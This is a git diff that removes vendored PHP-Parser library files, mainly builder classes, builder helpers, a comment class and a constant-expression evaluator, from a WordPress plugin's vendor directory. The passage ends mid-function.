b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUse.php deleted file mode 100644 index cf21c821..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUse.php +++ /dev/null @@ -1,65 +0,0 @@ -and($trait); - } - } - - /** - * Adds used trait. - * - * @param Node\Name|string $trait Trait name - * - * @return $this The builder instance (for fluid interface) - */ - public function and($trait) { - $this->traits[] = BuilderHelpers::normalizeName($trait); - return $this; - } - - /** - * Adds trait adaptation. - * - * @param Stmt\TraitUseAdaptation|Builder\TraitUseAdaptation $adaptation Trait adaptation - * - * @return $this The builder instance (for fluid interface) - */ - public function with($adaptation) { - $adaptation = BuilderHelpers::normalizeNode($adaptation); - - if (!$adaptation instanceof Stmt\TraitUseAdaptation) { - throw new \LogicException('Adaptation must have type TraitUseAdaptation'); - } - - $this->adaptations[] = $adaptation; - return $this; - } - - /** - * Returns the built node. - * - * @return Node The built node - */ - public function getNode(): Node { - return new Stmt\TraitUse($this->traits, $this->adaptations); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUseAdaptation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUseAdaptation.php deleted file mode 100644 index fee09583..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUseAdaptation.php +++ /dev/null @@ -1,145 +0,0 @@ -type = self::TYPE_UNDEFINED; - - $this->trait = is_null($trait) ? null : BuilderHelpers::normalizeName($trait); - $this->method = BuilderHelpers::normalizeIdentifier($method); - } - - /** - * Sets alias of method. - * - * @param Node\Identifier|string $alias Alias for adapted method - * - * @return $this The builder instance (for fluid interface) - */ - public function as($alias) { - if ($this->type === self::TYPE_UNDEFINED) { - $this->type = self::TYPE_ALIAS; - } - - if ($this->type !== self::TYPE_ALIAS) { - throw new \LogicException('Cannot set alias for not alias adaptation buider'); - } - - $this->alias = BuilderHelpers::normalizeIdentifier($alias); - return $this; - } - - /** - * Sets adapted method public. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePublic() { - $this->setModifier(Modifiers::PUBLIC); - return $this; - } - - /** - * Sets adapted method protected. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtected() { - $this->setModifier(Modifiers::PROTECTED); - return $this; - } - - /** - * Sets adapted method private. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivate() { - $this->setModifier(Modifiers::PRIVATE); - return $this; - } - - /** - * Adds overwritten traits. - * - * @param Node\Name|string ...$traits Traits for overwrite - * - * @return $this The builder instance (for fluid interface) - */ - public function insteadof(...$traits) { - if ($this->type === self::TYPE_UNDEFINED) { - if (is_null($this->trait)) { - throw new \LogicException('Precedence adaptation must have trait'); - } - - $this->type = self::TYPE_PRECEDENCE; - } - - if ($this->type !== self::TYPE_PRECEDENCE) { - throw new \LogicException('Cannot add overwritten traits for not precedence adaptation buider'); - } - - foreach ($traits as $trait) { - $this->insteadof[] = BuilderHelpers::normalizeName($trait); - } - - return $this; - } - - protected function setModifier(int $modifier): void { - if ($this->type === self::TYPE_UNDEFINED) { - $this->type = self::TYPE_ALIAS; - } - - if ($this->type !== self::TYPE_ALIAS) { - throw new \LogicException('Cannot set access modifier for not alias adaptation buider'); - } - - if (is_null($this->modifier)) { - $this->modifier = $modifier; - } else { - throw new \LogicException('Multiple access type modifiers are not allowed'); - } - } - - /** - * Returns the built node. - * - * @return Node The built node - */ - public function getNode(): Node { - switch ($this->type) { - case self::TYPE_ALIAS: - return new Stmt\TraitUseAdaptation\Alias($this->trait, $this->method, $this->modifier, $this->alias); - case self::TYPE_PRECEDENCE: - return new Stmt\TraitUseAdaptation\Precedence($this->trait, $this->method, $this->insteadof); - default: - throw new \LogicException('Type of adaptation is not defined'); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Trait_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Trait_.php deleted file mode 100644 index ffa1bd5c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Trait_.php +++ /dev/null @@ -1,83 +0,0 @@ - */ - protected array $uses = []; - /** @var list */ - protected array $constants = []; - /** @var list */ - protected array $properties = []; - /** @var list */ - protected array $methods = []; - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates an interface builder. - * - * @param string $name Name of the interface - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Adds a statement. - * - * @param Stmt|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $stmt = BuilderHelpers::normalizeNode($stmt); - - if ($stmt instanceof Stmt\Property) { - $this->properties[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassMethod) { - $this->methods[] = $stmt; - } elseif ($stmt instanceof Stmt\TraitUse) { - $this->uses[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassConst) { - $this->constants[] = $stmt; - } else { - throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); - } - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built trait node. - * - * @return Stmt\Trait_ The built interface node - */ - public function getNode(): PhpParser\Node { - return new Stmt\Trait_( - $this->name, [ - 'stmts' => array_merge($this->uses, $this->constants, $this->properties, $this->methods), - 'attrGroups' => $this->attributeGroups, - ], $this->attributes - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Use_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Use_.php deleted file mode 100644 index b82cf139..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Use_.php +++ /dev/null @@ -1,49 +0,0 @@ -name = BuilderHelpers::normalizeName($name); - $this->type = $type; - } - - /** - * Sets alias for used name. - * - * @param string $alias Alias to use (last component of full name by default) - * - * @return $this The builder instance (for fluid interface) - */ - public function as(string $alias) { - $this->alias = $alias; - return $this; - } - - /** - * Returns the built node. - * - * @return Stmt\Use_ The built node - */ - public function getNode(): Node { - return new Stmt\Use_([ - new Node\UseItem($this->name, $this->alias) - ], $this->type); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderFactory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderFactory.php deleted file mode 100644 index 07642f92..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderFactory.php +++ /dev/null @@ -1,375 +0,0 @@ -args($args) - ); - } - - /** - * Creates a namespace builder. - * - * @param null|string|Node\Name $name Name of the namespace - * - * @return Builder\Namespace_ The created namespace builder - */ - public function namespace($name): Builder\Namespace_ { - return new Builder\Namespace_($name); - } - - /** - * Creates a class builder. - * - * @param string $name Name of the class - * - * @return Builder\Class_ The created class builder - */ - public function class(string $name): Builder\Class_ { - return new Builder\Class_($name); - } - - /** - * Creates an interface builder. - * - * @param string $name Name of the interface - * - * @return Builder\Interface_ The created interface builder - */ - public function interface(string $name): Builder\Interface_ { - return new Builder\Interface_($name); - } - - /** - * Creates a trait builder. - * - * @param string $name Name of the trait - * - * @return Builder\Trait_ The created trait builder - */ - public function trait(string $name): Builder\Trait_ { - return new Builder\Trait_($name); - } - - /** - * Creates an enum builder. - * - * @param string $name Name of the enum - * - * @return Builder\Enum_ The created enum builder - */ - public function enum(string $name): Builder\Enum_ { - return new Builder\Enum_($name); - } - - /** - * Creates a trait use builder. - * - * @param Node\Name|string ...$traits Trait names - * - * @return Builder\TraitUse The created trait use builder - */ - public function useTrait(...$traits): Builder\TraitUse { - return new Builder\TraitUse(...$traits); - } - - /** - * Creates a trait use adaptation builder. - * - * @param Node\Name|string|null $trait Trait name - * @param Node\Identifier|string $method Method name - * - * @return Builder\TraitUseAdaptation The created trait use adaptation builder - */ - public function traitUseAdaptation($trait, $method = null): Builder\TraitUseAdaptation { - if ($method === null) { - $method = $trait; - $trait = null; - } - - return new Builder\TraitUseAdaptation($trait, $method); - } - - /** - * Creates a method builder. - * - * @param string $name Name of the method - * - * @return Builder\Method The created method builder - */ - public function method(string $name): Builder\Method { - return new Builder\Method($name); - } - - /** - * Creates a parameter builder. - * - * @param string $name Name of the parameter - * - * @return Builder\Param The created parameter builder - */ - public function param(string $name): Builder\Param { - return new Builder\Param($name); - } - - /** - * Creates a property builder. - * - * @param string $name Name of the property - * - * @return Builder\Property The created property builder - */ - public function property(string $name): Builder\Property { - return new Builder\Property($name); - } - - /** - * Creates a function builder. - * - * @param string $name Name of the function - * - * @return Builder\Function_ The created function builder - */ - public function function(string $name): Builder\Function_ { - return new Builder\Function_($name); - } - - /** - * Creates a namespace/class use builder. - * - * @param Node\Name|string $name Name of the entity (namespace or class) to alias - * - * @return Builder\Use_ The created use builder - */ - public function use($name): Builder\Use_ { - return new Builder\Use_($name, Use_::TYPE_NORMAL); - } - - /** - * Creates a function use builder. - * - * @param Node\Name|string $name Name of the function to alias - * - * @return Builder\Use_ The created use function builder - */ - public function useFunction($name): Builder\Use_ { - return new Builder\Use_($name, Use_::TYPE_FUNCTION); - } - - /** - * Creates a constant use builder. - * - * @param Node\Name|string $name Name of the const to alias - * - * @return Builder\Use_ The created use const builder - */ - public function useConst($name): Builder\Use_ { - return new Builder\Use_($name, Use_::TYPE_CONSTANT); - } - - /** - * Creates a class constant builder. - * - * @param string|Identifier $name Name - * @param Node\Expr|bool|null|int|float|string|array $value Value - * - * @return Builder\ClassConst The created use const builder - */ - public function classConst($name, $value): Builder\ClassConst { - return new Builder\ClassConst($name, $value); - } - - /** - * Creates an enum case builder. - * - * @param string|Identifier $name Name - * - * @return Builder\EnumCase The created use const builder - */ - public function enumCase($name): Builder\EnumCase { - return new Builder\EnumCase($name); - } - - /** - * Creates node a for a literal value. - * - * @param Expr|bool|null|int|float|string|array|\UnitEnum $value $value - */ - public function val($value): Expr { - return BuilderHelpers::normalizeValue($value); - } - - /** - * Creates variable node. - * - * @param string|Expr $name Name - */ - public function var($name): Expr\Variable { - if (!\is_string($name) && !$name instanceof Expr) { - throw new \LogicException('Variable name must be string or Expr'); - } - - return new Expr\Variable($name); - } - - /** - * Normalizes an argument list. - * - * Creates Arg nodes for all arguments and converts literal values to expressions. - * - * @param array $args List of arguments to normalize - * - * @return list - */ - public function args(array $args): array { - $normalizedArgs = []; - foreach ($args as $key => $arg) { - if (!($arg instanceof Arg)) { - $arg = new Arg(BuilderHelpers::normalizeValue($arg)); - } - if (\is_string($key)) { - $arg->name = BuilderHelpers::normalizeIdentifier($key); - } - $normalizedArgs[] = $arg; - } - return $normalizedArgs; - } - - /** - * Creates a function call node. - * - * @param string|Name|Expr $name Function name - * @param array $args Function arguments - */ - public function funcCall($name, array $args = []): Expr\FuncCall { - return new Expr\FuncCall( - BuilderHelpers::normalizeNameOrExpr($name), - $this->args($args) - ); - } - - /** - * Creates a method call node. - * - * @param Expr $var Variable the method is called on - * @param string|Identifier|Expr $name Method name - * @param array $args Method arguments - */ - public function methodCall(Expr $var, $name, array $args = []): Expr\MethodCall { - return new Expr\MethodCall( - $var, - BuilderHelpers::normalizeIdentifierOrExpr($name), - $this->args($args) - ); - } - - /** - * Creates a static method call node. - * - * @param string|Name|Expr $class Class name - * @param string|Identifier|Expr $name Method name - * @param array $args Method arguments - */ - public function staticCall($class, $name, array $args = []): Expr\StaticCall { - return new Expr\StaticCall( - BuilderHelpers::normalizeNameOrExpr($class), - BuilderHelpers::normalizeIdentifierOrExpr($name), - $this->args($args) - ); - } - - /** - * Creates an object creation node. - * - * @param string|Name|Expr $class Class name - * @param array $args Constructor arguments - */ - public function new($class, array $args = []): Expr\New_ { - return new Expr\New_( - BuilderHelpers::normalizeNameOrExpr($class), - $this->args($args) - ); - } - - /** - * Creates a constant fetch node. - * - * @param string|Name $name Constant name - */ - public function constFetch($name): Expr\ConstFetch { - return new Expr\ConstFetch(BuilderHelpers::normalizeName($name)); - } - - /** - * Creates a property fetch node. - * - * @param Expr $var Variable holding object - * @param string|Identifier|Expr $name Property name - */ - public function propertyFetch(Expr $var, $name): Expr\PropertyFetch { - return new Expr\PropertyFetch($var, BuilderHelpers::normalizeIdentifierOrExpr($name)); - } - - /** - * Creates a class constant fetch node. - * - * @param string|Name|Expr $class Class name - * @param string|Identifier|Expr $name Constant name - */ - public function classConstFetch($class, $name): Expr\ClassConstFetch { - return new Expr\ClassConstFetch( - BuilderHelpers::normalizeNameOrExpr($class), - BuilderHelpers::normalizeIdentifierOrExpr($name) - ); - } - - /** - * Creates nested Concat nodes from a list of expressions. - * - * @param Expr|string ...$exprs Expressions or literal strings - */ - public function concat(...$exprs): Concat { - $numExprs = count($exprs); - if ($numExprs < 2) { - throw new \LogicException('Expected at least two expressions'); - } - - $lastConcat = $this->normalizeStringExpr($exprs[0]); - for ($i = 1; $i < $numExprs; $i++) { - $lastConcat = new Concat($lastConcat, $this->normalizeStringExpr($exprs[$i])); - } - return $lastConcat; - } - - /** - * @param string|Expr $expr - */ - private function normalizeStringExpr($expr): Expr { - if ($expr instanceof Expr) { - return $expr; - } - - if (\is_string($expr)) { - return new String_($expr); - } - - throw new \LogicException('Expected string or Expr'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderHelpers.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderHelpers.php deleted file mode 100644 index f29a6915..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/BuilderHelpers.php +++ /dev/null @@ -1,338 +0,0 @@ -getNode(); - } - - if ($node instanceof Node) { - return $node; - } - - throw new \LogicException('Expected node or builder object'); - } - - /** - * Normalizes a node to a statement. - * - * Expressions are wrapped in a Stmt\Expression node. - * - * @param Node|Builder $node The node to normalize - * - * @return Stmt The normalized statement node - */ - public static function normalizeStmt($node): Stmt { - $node = self::normalizeNode($node); - if ($node instanceof Stmt) { - return $node; - } - - if ($node instanceof Expr) { - return new Stmt\Expression($node); - } - - throw new \LogicException('Expected statement or expression node'); - } - - /** - * Normalizes strings to Identifier. - * - * @param string|Identifier $name The identifier to normalize - * - * @return Identifier The normalized identifier - */ - public static function normalizeIdentifier($name): Identifier { - if ($name instanceof Identifier) { - return $name; - } - - if (\is_string($name)) { - return new Identifier($name); - } - - throw new \LogicException('Expected string or instance of Node\Identifier'); - } - - /** - * Normalizes strings to Identifier, also allowing expressions. - * - * @param string|Identifier|Expr $name The identifier to normalize - * - * @return Identifier|Expr The normalized identifier or expression - */ - public static function normalizeIdentifierOrExpr($name) { - if ($name instanceof Identifier || $name instanceof Expr) { - return $name; - } - - if (\is_string($name)) { - return new Identifier($name); - } - - throw new \LogicException('Expected string or instance of Node\Identifier or Node\Expr'); - } - - /** - * Normalizes a name: Converts string names to Name nodes. - * - * @param Name|string $name The name to normalize - * - * @return Name The normalized name - */ - public static function normalizeName($name): Name { - if ($name instanceof Name) { - return $name; - } - - if (is_string($name)) { - if (!$name) { - throw new \LogicException('Name cannot be empty'); - } - - if ($name[0] === '\\') { - return new Name\FullyQualified(substr($name, 1)); - } - - if (0 === strpos($name, 'namespace\\')) { - return new Name\Relative(substr($name, strlen('namespace\\'))); - } - - return new Name($name); - } - - throw new \LogicException('Name must be a string or an instance of Node\Name'); - } - - /** - * Normalizes a name: Converts string names to Name nodes, while also allowing expressions. - * - * @param Expr|Name|string $name The name to normalize - * - * @return Name|Expr The normalized name or expression - */ - public static function normalizeNameOrExpr($name) { - if ($name instanceof Expr) { - return $name; - } - - if (!is_string($name) && !($name instanceof Name)) { - throw new \LogicException( - 'Name must be a string or an instance of Node\Name or Node\Expr' - ); - } - - return self::normalizeName($name); - } - - /** - * Normalizes a type: Converts plain-text type names into proper AST representation. - * - * In particular, builtin types become Identifiers, custom types become Names and nullables - * are wrapped in NullableType nodes. - * - * @param string|Name|Identifier|ComplexType $type The type to normalize - * - * @return Name|Identifier|ComplexType The normalized type - */ - public static function normalizeType($type) { - if (!is_string($type)) { - if ( - !$type instanceof Name && !$type instanceof Identifier && - !$type instanceof ComplexType - ) { - throw new \LogicException( - 'Type must be a string, or an instance of Name, Identifier or ComplexType' - ); - } - return $type; - } - - $nullable = false; - if (strlen($type) > 0 && $type[0] === '?') { - $nullable = true; - $type = substr($type, 1); - } - - $builtinTypes = [ - 'array', - 'callable', - 'bool', - 'int', - 'float', - 'string', - 'iterable', - 'void', - 'object', - 'null', - 'false', - 'mixed', - 'never', - 'true', - ]; - - $lowerType = strtolower($type); - if (in_array($lowerType, $builtinTypes)) { - $type = new Identifier($lowerType); - } else { - $type = self::normalizeName($type); - } - - $notNullableTypes = [ - 'void', 'mixed', 'never', - ]; - if ($nullable && in_array((string) $type, $notNullableTypes)) { - throw new \LogicException(sprintf('%s type cannot be nullable', $type)); - } - - return $nullable ? new NullableType($type) : $type; - } - - /** - * Normalizes a value: Converts nulls, booleans, integers, - * floats, strings and arrays into their respective nodes - * - * @param Node\Expr|bool|null|int|float|string|array|\UnitEnum $value The value to normalize - * - * @return Expr The normalized value - */ - public static function normalizeValue($value): Expr { - if ($value instanceof Node\Expr) { - return $value; - } - - if (is_null($value)) { - return new Expr\ConstFetch( - new Name('null') - ); - } - - if (is_bool($value)) { - return new Expr\ConstFetch( - new Name($value ? 'true' : 'false') - ); - } - - if (is_int($value)) { - return new Scalar\Int_($value); - } - - if (is_float($value)) { - return new Scalar\Float_($value); - } - - if (is_string($value)) { - return new Scalar\String_($value); - } - - if (is_array($value)) { - $items = []; - $lastKey = -1; - foreach ($value as $itemKey => $itemValue) { - // for consecutive, numeric keys don't generate keys - if (null !== $lastKey && ++$lastKey === $itemKey) { - $items[] = new Node\ArrayItem( - self::normalizeValue($itemValue) - ); - } else { - $lastKey = null; - $items[] = new Node\ArrayItem( - self::normalizeValue($itemValue), - self::normalizeValue($itemKey) - ); - } - } - - return new Expr\Array_($items); - } - - if ($value instanceof \UnitEnum) { - return new Expr\ClassConstFetch(new FullyQualified(\get_class($value)), new Identifier($value->name)); - } - - throw new \LogicException('Invalid value'); - } - - /** - * Normalizes a doc comment: Converts plain strings to PhpParser\Comment\Doc. - * - * @param Comment\Doc|string $docComment The doc comment to normalize - * - * @return Comment\Doc The normalized doc comment - */ - public static function normalizeDocComment($docComment): Comment\Doc { - if ($docComment instanceof Comment\Doc) { - return $docComment; - } - - if (is_string($docComment)) { - return new Comment\Doc($docComment); - } - - throw new \LogicException('Doc comment must be a string or an instance of PhpParser\Comment\Doc'); - } - - /** - * Normalizes a attribute: Converts attribute to the Attribute Group if needed. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return Node\AttributeGroup The Attribute Group - */ - public static function normalizeAttribute($attribute): Node\AttributeGroup { - if ($attribute instanceof Node\AttributeGroup) { - return $attribute; - } - - if (!($attribute instanceof Node\Attribute)) { - throw new \LogicException('Attribute must be an instance of PhpParser\Node\Attribute or PhpParser\Node\AttributeGroup'); - } - - return new Node\AttributeGroup([$attribute]); - } - - /** - * Adds a modifier and returns new modifier bitmask. - * - * @param int $modifiers Existing modifiers - * @param int $modifier Modifier to set - * - * @return int New modifiers - */ - public static function addModifier(int $modifiers, int $modifier): int { - Modifiers::verifyModifier($modifiers, $modifier); - return $modifiers | $modifier; - } - - /** - * Adds a modifier and returns new modifier bitmask. - * @return int New modifiers - */ - public static function addClassModifier(int $existingModifiers, int $modifierToSet): int { - Modifiers::verifyClassModifier($existingModifiers, $modifierToSet); - return $existingModifiers | $modifierToSet; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment.php deleted file mode 100644 index 01b341e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment.php +++ /dev/null @@ -1,209 +0,0 @@ -text = $text; - $this->startLine = $startLine; - $this->startFilePos = $startFilePos; - $this->startTokenPos = $startTokenPos; - $this->endLine = $endLine; - $this->endFilePos = $endFilePos; - $this->endTokenPos = $endTokenPos; - } - - /** - * Gets the comment text. - * - * @return string The comment text (including comment delimiters like /*) - */ - public function getText(): string { - return $this->text; - } - - /** - * Gets the line number the comment started on. - * - * @return int Line number (or -1 if not available) - * @phpstan-return -1|positive-int - */ - public function getStartLine(): int { - return $this->startLine; - } - - /** - * Gets the file offset the comment started on. - * - * @return int File offset (or -1 if not available) - */ - public function getStartFilePos(): int { - return $this->startFilePos; - } - - /** - * Gets the token offset the comment started on. - * - * @return int Token offset (or -1 if not available) - */ - public function getStartTokenPos(): int { - return $this->startTokenPos; - } - - /** - * Gets the line number the comment ends on. - * - * @return int Line number (or -1 if not available) - * @phpstan-return -1|positive-int - */ - public function getEndLine(): int { - return $this->endLine; - } - - /** - * Gets the file offset the comment ends on. - * - * @return int File offset (or -1 if not available) - */ - public function getEndFilePos(): int { - return $this->endFilePos; - } - - /** - * Gets the token offset the comment ends on. - * - * @return int Token offset (or -1 if not available) - */ - public function getEndTokenPos(): int { - return $this->endTokenPos; - } - - /** - * Gets the comment text. - * - * @return string The comment text (including comment delimiters like /*) - */ - public function __toString(): string { - return $this->text; - } - - /** - * Gets the reformatted comment text. - * - * "Reformatted" here means that we try to clean up the whitespace at the - * starts of the lines. This is necessary because we receive the comments - * without leading whitespace on the first line, but with leading whitespace - * on all subsequent lines. - * - * Additionally, this normalizes CRLF newlines to LF newlines. - */ - public function getReformattedText(): string { - $text = str_replace("\r\n", "\n", $this->text); - $newlinePos = strpos($text, "\n"); - if (false === $newlinePos) { - // Single line comments don't need further processing - return $text; - } - if (preg_match('(^.*(?:\n\s+\*.*)+$)', $text)) { - // Multi line comment of the type - // - // /* - // * Some text. - // * Some more text. - // */ - // - // is handled by replacing the whitespace sequences before the * by a single space - return preg_replace('(^\s+\*)m', ' *', $text); - } - if (preg_match('(^/\*\*?\s*\n)', $text) && preg_match('(\n(\s*)\*/$)', $text, $matches)) { - // Multi line comment of the type - // - // /* - // Some text. - // Some more text. - // */ - // - // is handled by removing the whitespace sequence on the line before the closing - // */ on all lines. So if the last line is " */", then " " is removed at the - // start of all lines. - return preg_replace('(^' . preg_quote($matches[1]) . ')m', '', $text); - } - if (preg_match('(^/\*\*?\s*(?!\s))', $text, $matches)) { - // Multi line comment of the type - // - // /* Some text. - // Some more text. - // Indented text. - // Even more text. */ - // - // is handled by removing the difference between the shortest whitespace prefix on all - // lines and the length of the "/* " opening sequence. - $prefixLen = $this->getShortestWhitespacePrefixLen(substr($text, $newlinePos + 1)); - $removeLen = $prefixLen - strlen($matches[0]); - return preg_replace('(^\s{' . $removeLen . '})m', '', $text); - } - - // No idea how to format this comment, so simply return as is - return $text; - } - - /** - * Get length of shortest whitespace prefix (at the start of a line). - * - * If there is a line with no prefix whitespace, 0 is a valid return value. - * - * @param string $str String to check - * @return int Length in characters. Tabs count as single characters. - */ - private function getShortestWhitespacePrefixLen(string $str): int { - $lines = explode("\n", $str); - $shortestPrefixLen = \PHP_INT_MAX; - foreach ($lines as $line) { - preg_match('(^\s*)', $line, $matches); - $prefixLen = strlen($matches[0]); - if ($prefixLen < $shortestPrefixLen) { - $shortestPrefixLen = $prefixLen; - } - } - return $shortestPrefixLen; - } - - /** - * @return array{nodeType:string, text:mixed, line:mixed, filePos:mixed} - */ - public function jsonSerialize(): array { - // Technically not a node, but we make it look like one anyway - $type = $this instanceof Comment\Doc ? 'Comment_Doc' : 'Comment'; - return [ - 'nodeType' => $type, - 'text' => $this->text, - // TODO: Rename these to include "start". - 'line' => $this->startLine, - 'filePos' => $this->startFilePos, - 'tokenPos' => $this->startTokenPos, - 'endLine' => $this->endLine, - 'endFilePos' => $this->endFilePos, - 'endTokenPos' => $this->endTokenPos, - ]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment/Doc.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment/Doc.php deleted file mode 100644 index bb3e9146..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Comment/Doc.php +++ /dev/null @@ -1,6 +0,0 @@ -fallbackEvaluator = $fallbackEvaluator ?? function (Expr $expr) { - throw new ConstExprEvaluationException( - "Expression of type {$expr->getType()} cannot be evaluated" - ); - }; - } - - /** - * Silently evaluates a constant expression into a PHP value. - * - * Thrown Errors, warnings or notices will be converted into a ConstExprEvaluationException. - * The original source of the exception is available through getPrevious(). - * - * If some part of the expression cannot be evaluated, the fallback evaluator passed to the - * constructor will be invoked. By default, if no fallback is provided, an exception of type - * ConstExprEvaluationException is thrown. - * - * See class doc comment for caveats and limitations. - * - * @param Expr $expr Constant expression to evaluate - * @return mixed Result of evaluation - * - * @throws ConstExprEvaluationException if the expression cannot be evaluated or an error occurred - */ - public function evaluateSilently(Expr $expr) { - set_error_handler(function ($num, $str, $file, $line) { - throw new \ErrorException($str, 0, $num, $file, $line); - }); - - try { - return $this->evaluate($expr); - } catch (\Throwable $e) { - if (!$e instanceof ConstExprEvaluationException) { - $e = new ConstExprEvaluationException( - "An error occurred during constant expression evaluation", 0, $e); - } - throw $e; - } finally { - restore_error_handler(); - } - } - - /** - * Directly evaluates a constant expression into a PHP value. - * - * May generate Error exceptions, warnings or notices. Use evaluateSilently() to convert these - * into a ConstExprEvaluationException. - * - * If some part of the expression cannot be evaluated, the fallback evaluator passed to the - * constructor will be invoked. By default, if no fallback is provided, an exception of type - * ConstExprEvaluationException is thrown. - * - * See class doc comment for caveats and limitations. - * - * @param Expr $expr Constant expression to evaluate - * @return mixed Result of evaluation - * - * @throws ConstExprEvaluationException if the expression cannot be evaluated - */ - public function evaluateDirectly(Expr $expr) { - return $this->evaluate($expr); - } - - /** @return mixed */ - private function evaluate(Expr $expr) { - if ($expr instanceof Scalar\Int_ - || $expr instanceof Scalar\Float_ - || $expr instanceof Scalar\String_ - ) { - return $expr->value; - } - - if ($expr instanceof Expr\Array_) { - return $this->evaluateArray($expr); - } - - // Unary operators - if ($expr instanceof Expr\UnaryPlus) { - return +$this->evaluate($expr->expr); - } - if ($expr instanceof Expr\UnaryMinus) { - return -$this->evaluate($expr->expr); - } - if ($expr instanceof Expr\BooleanNot) { - return !$this->evaluate($expr->expr); - } - if ($expr instanceof Expr\BitwiseNot) { - return ~$this->evaluate($expr->expr); - } - - if ($expr instanceof Expr\BinaryOp) { - return $this->evaluateBinaryOp($expr); - } - - if ($expr instanceof Expr\Ternary) { - return $this->evaluateTernary($expr); - } - - if ($expr instanceof Expr\ArrayDimFetch && null !== $expr->dim) { - return $this->evaluate($expr->var)[$this->evaluate($expr->dim)]; - } - - if ($expr instanceof Expr\ConstFetch) { - return $this->evaluateConstFetch($expr); - } - - return ($this->fallbackEvaluator)($expr); - } - - private function evaluateArray(Expr\Array_ $expr): array { - $array = []; - foreach ($expr->items as $item) { - if (null !== $item->key) { - $array[$this->evaluate($item->key)] = $this->evaluate($item->value); - } elseif ($item->unpack) { - $array = array_merge($array, $this->evaluate($item->value)); - } else { - $array[] = $this->evaluate($item->value); - } - } - return $array; - } - - /** @return mixed */ - private function evaluateTernary(Expr\Ternary $expr) { - if (null === $expr->if) { - return $this->evaluate($expr->cond) ?: $this->evaluate($expr->else); - } - - return $this->evaluate($expr->cond) - ? $this->evaluate($expr->if) - : $this->evaluate($expr->else); - } - - /** @return mixed */ - private function evaluateBinaryOp(Expr\BinaryOp $expr) { - if ($expr instanceof Expr\BinaryOp\Coalesce - && $expr->left instanceof Expr\ArrayDimFetch - ) { - // This needs to be special cased to respect BP_VAR_IS fetch semantics - return $this->evaluate($expr->left->var)[$this->evaluate($expr->left->dim)] - ?? $this->evaluate($expr->right); - } - - // The evaluate() calls are repeated in each branch, because some of the operators are - // short-circuiting and evaluating the RHS in advance may be illegal in that case - $l = $expr->left; - $r = $expr->right; - switch ($expr->getOperatorSigil()) { - case '&': return $this->evaluate($l) & $this->evaluate($r); - case '|': return $this->evaluate($l) | $this->evaluate($r); - case '^': return $this->evaluate($l) ^ $this->evaluate($r); - case '&&': return $this->evaluate($l) && $this->evaluate($r); - case '||': return $this->evaluate($l) || $this->evaluate($r); - case '??': return $this->evaluate($l) ?? $this->evaluate($r); - case '.': return $this->evaluate($l) . $this->evaluate($r); - case '/': return $this->evaluate($l) / $this->evaluate($r); - case '==': return $this->evaluate($l) == $this->evaluate($r); - case '>': return $this->evaluate($l) > $this->evaluate($r); - case '>=': return $this->evaluate($l) >= $this->evaluate($r); - case '===': return $this->evaluate($l) === $this->evaluate($r); - case 'and': return $this->evaluate($l) and $this->evaluate($r); - case 'or': return 